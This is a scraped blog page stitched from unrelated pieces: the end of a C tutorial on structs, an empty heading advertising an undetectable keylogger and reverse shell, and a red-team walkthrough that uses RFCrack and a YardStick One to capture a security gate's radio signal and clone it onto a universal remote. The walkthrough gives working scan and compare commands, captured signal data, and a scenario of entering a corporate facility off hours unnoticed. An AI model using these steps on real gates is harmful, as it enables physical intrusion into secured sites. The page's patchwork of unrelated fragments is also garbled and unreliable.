2: Followed by struct keyword (dob) is the name of our structure.
3: Elements of struct are defined inside braces '{}' as we did (int day; etc).
4: After ending brace we place a terminator ';' to end the declaration.

So now you know how to define a structure but how to create its instances now?
To create a variable of our structure we just need to do this:
struct dob date;
This now declares date as a structure variable of type dob.
1: Here 'struct dob' is our above declared structure.
2: date is a variable of type dob.

So ok we have a structure and a variable of that type but how can i access its parts?
well we can access it and assign it so simply like this:-
date.day = 19;date.month = 10;date.year  = 1990;
Note here we use the dot (.) operator to access the fields (parts) of our structure.
ok everything looks nice so for but how in the world can i read data into this structure variable? Again no worries its again simple:-
scanf("%d", &date.day);scanf("%d", &date.month);
that was pretty easy but I was wondering how can i print its data?
Just do it like this:-
printf("Day: %d", date.day);printf("Month: %d",date.month);printf("Year: %d", date.year);
Again remember we use dot (.) operator to access members of a structure.
So we now know how to define and declare a structure, how to access its members, how to read data in it, and how to print data of a structure. Oh that was a tough job..!
Now let us put it together in a single C Program.
/***********************************************/
#include <stdio.h>
struct dob {
   int day;
   int month;
   int year;
};

int main(void) {
  struct dob date;
  date.day = 19;
  date.month = 10;
  date.year = 1990;

  printf("Day is : %d, Month is: %d, and Year is %d\n",
           date.day,date.month, date.year);

  printf("Enter Day, Month, and Year separated by spaces: ");
  scanf("%d %d %d", &date.day,&date.month,&date.year);
  printf("Your entered Date is: %d/%d/%d",
  date.day,date.month,date.year);

  return 0;
}
Output:
Day is : 19, Month is: 10, and Year is 1990
Enter Day, Month, and Year separated by spaces: 1 1 2014
Your entered Date is: 1/1/2014

Related word


Spykey - FUD Win32 Keylogger And Reverse Shell

Related articles

Selasa, 21 April 2020

Spykey - FUD Win32 Keylogger And Reverse Shell

More info


Hacking Everything With RF And Software Defined Radio - Part 3


Reversing Device Signals with RFCrack for Red Teaming


This blog was researched and automated by:
@Ficti0n 
@GarrGhar 
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com 
CC Labs: http://cclabs.io

CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack


Contrived Scenario: 

Bob was tasked to break into XYZ  corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look. 

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.  Interestingly there was some kind of wireless technology in use. 

How do we go from watching a car go through a gate, to having a physical device that opens the gate?  

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.  Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack. 

Items used in this blog: 

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


 







Walkthrough Video: 




Remotely sniffing signals for later analysis: 

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious. 

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations. 




RFCrack Scanning: 

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.  If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance. 

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds


Example of logging output: 

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.  For example the following captures were found in the log file in an easily parseable format: 

Destroy:RFCrack ficti0n$ cd scanning_logs/
Destroy:scanning_logs ficti0n$ ls
Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log
Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log
A signal was found on :390000000
c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000
A signal was found on :390000000
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000



Analyzing the signal to determine toggle switches: 

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.  Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route. 

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below. 



Let RFCrack Plot the Signal For you: 

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.  This saves time and allows you to use only one piece of hardware for all of the work.  This can easily be done with the following command: 

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c
-n = No yardstick attached
-g = graph a single signal
-u = Use this piece of data




From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above: 

Possible toggle switch scenarios:

  1. down down up up up down down down down
  2. up up down down down up up up up 

Configuring a remote: 

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.  In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.  

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal. 


Comparing Signals: 

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.  

Note:  Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz. 

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack: 

Open up 2 terminals and use the following commands: 

#Setup a sniffer on 390mhz
  Setup sniffer:      python RFCrack.py -k -c -f 390000000.     
#Monitor the log file, and provide the gates original signal
  Setup Analysis:     python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.  

Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)




Analyze Your Clicks: 

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.  If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.  We don't care about those signals since they don't pertain to our target. 

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.  It will always graph the highest percentage within a click.  Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data. 

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test. 

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png


Graph Comparison Output for 97% Match: 







Conclusion: 


You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.  This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze  RF signals within embedded devices. There are many scenarios these same techniques could assist in.  We also covered a few new features in RF crack regarding logging, graphing and comparing signals.  These are just a few of the features which have been added since the initial release. For more info and other features check the wiki. 
Related links
  1. Nivel Basico
  2. Cómo Se Escribe Hacker
  3. Hacking Curso
  4. Hacker Definicion Informatica
  5. Hacking Etico Certificacion
  6. Hacking Youtube

Menu